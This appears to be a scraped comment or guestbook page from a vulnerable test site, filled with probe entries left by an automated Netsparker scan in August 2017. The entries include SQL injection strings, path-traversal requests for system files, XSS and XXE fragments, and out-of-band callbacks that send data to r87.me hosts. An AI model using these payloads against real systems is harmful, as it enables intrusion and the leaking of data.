\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

